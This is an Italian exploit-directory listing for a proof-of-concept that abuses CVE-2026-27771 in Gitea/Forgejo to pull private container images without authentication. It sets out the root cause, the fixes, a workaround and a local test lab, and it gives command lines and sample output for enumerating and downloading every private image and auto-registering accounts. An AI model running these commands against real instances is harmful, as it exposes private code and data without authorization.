Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27771 — CVE-2026-27771 - Exploit PoC per il bypass dell'autenticazione del Container Registry in Gitea/Forgejo - Scarica immagini container private senza autenticazione | Kitploit
Strumenti/GitHubGitHub/portbuster1337/cve-2026-27771
Autenticazione e AutorizzazioneSicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubportbuster1337/cve-2026-27771

CVE-2026-27771

CVE-2026-27771 - Exploit PoC per il bypass dell'autenticazione del Container Registry in Gitea/Forgejo - Scarica immagini container private senza autenticazione

18633 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2026-27771 — Bypass dell'autenticazione del Container Registry di Gitea

CVSS: N/A (non pubblicato)
Interessa: Gitea < 1.26.2 (tutte le versioni con container registry OCI)
Interessa anche: Forgejo (confermato da NoScope)
Scoperto da: NoScope
Corretto in: Gitea v1.26.2 (20 maggio 2026)

Disclaimer: Questa proof-of-concept è fornita esclusivamente a scopo educativo e di ricerca di sicurezza autorizzata. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non sono responsabili di qualsiasi uso improprio di questo codice. Testate solo su sistemi di vostra proprietà o per i quali avete esplicita autorizzazione al test.

Riepilogo

Attaccanti remoti non autenticati possono effettuare il pull di immagini container private dalle istanze Gitea. Gli endpoint API OCI Distribution Spec (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) servono contenuti agli utenti ghost/anonimi (UserID: -1) senza verificare la visibilità del proprietario del pacchetto container (private/limited/public).

NoScope ha identificato ~31.750+ istanze esposte su Internet in oltre 30 paesi. La falla è rimasta inosservata per circa 4 anni.

Causa principale

La vulnerabilità si trova nel middleware ReqContainerAccess (routers/api/packages/container/container.go):

root@kitploit:~
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

Questo controlla solo:

  1. ctx.Doer è nil? (richiesta non autenticata senza alcun token)
  2. RequireSignInViewStrict è abilitato E l'utente è un ghost?

Non verifica affatto l'impostazione di visibilità del proprietario del pacchetto (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). Un utente ghost (UserID: -1) con scope vuoto passa senza intoppi e può accedere a qualsiasi pacchetto container.

L'endpoint /v2/token (funzione Authenticate) rilascia token anonimi senza credenziali quando RequireSignInViewStrict è false.

Correzione (PR #37290 + PR #37610)

Nella 1.26.2 sono arrivate due correzioni:

  1. PR #37290 — Header Basic realm condizionale in apiUnauthorizedError — smette di inviare Basic realm sulle istanze pubbliche per evitare di confondere i client Docker, e controllo di visibilità per proprietario nella challenge di autenticazione.

  2. PR #37610 — Etichette di visibilità dei pacchetti + controllo dei permessi per le sorgenti Composer — aggiunge il modello di permessi sottostante per i pacchetti. Senza queste etichette, non c'era modo di distinguere i pacchetti privati/interni/pubblici nel percorso di controllo dei permessi.

Workaround

root@kitploit:~
[service]
REQUIRE_SIGNIN_VIEW = true

Questo blocca tutto l'accesso anonimo (incluse le repo pubbliche), chiudendo così la via di sfruttamento. Tuttavia, il modello di permessi sottostante è ancora rotto — qualsiasi utente autenticato può comunque accedere a tutti i pacchetti. Aggiornate alla 1.26.2+ per la vera correzione.

Exploit PoC

Prerequisiti

  • Python 3.8+
  • Istanza Gitea target < 1.26.2 con container registry OCI abilitato (v1.17.0+)

Utilizzo

root@kitploit:~
python3 CVE-2026-27771-exploit.py scan <url>                       # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # Pull all images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # Pull specific repo
python3 CVE-2026-27771-exploit.py pull <url> --dry-run               # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]

Esempi

root@kitploit:~
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email [email protected]

Cosa fa l'exploit

  1. Pre-flight: verifica la versione, l'endpoint /v2/, rileva la disponibilità della registrazione, ottiene un token anonimo o scambia il PAT per un JWT
  2. Enumerate: elenca tutti i repository container tramite /v2/_catalog (restituisce TUTTE le repo — pubbliche e private — a causa della visibilità non funzionante)
  3. Pull: per ogni repo, elenca i tag, recupera il manifest OCI, risolve le immagini multi-arch, scarica tutti i layer blob
  4. Extract: estrae automaticamente i layer tar compressi con gzip in pulled_<repo>/extracted/

Gestione dei token

  • Anonimo: se REQUIRE_SIGNIN_VIEW=false, ottiene un token ghost senza credenziali
  • PAT (SHA1): se --token è una stringa esadecimale di 40 caratteri, lo scambia automaticamente con un JWT OCI tramite Basic auth
  • JWT: se --token contiene punti, lo usa direttamente come Bearer token

Esempio di output

root@kitploit:~
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)

[*] Container repositories: 3
    acme/production-app: tags=['latest', 'v2.1.0']
    acme/internal-db: tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model: tags=['v0.9.2']

  [acme/production-app]
  Tags: ['latest']
    └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifests saved
      extracted 39862 files to pulled_acme_production-app/extracted

Riproduzione

Preparare un ambiente di test

root@kitploit:~
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/

Verificare la correzione

root@kitploit:~
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"

Riferimenti

  • https://noscope.com/blog/gitea-instances-exposing-private-container
  • https://blog.gitea.com/release-of-1.26.2/
  • https://github.com/go-gitea/gitea/pull/37290
  • https://github.com/go-gitea/gitea/pull/37610
  • https://github.com/go-gitea/gitea/security/advisories
Scarica lo strumento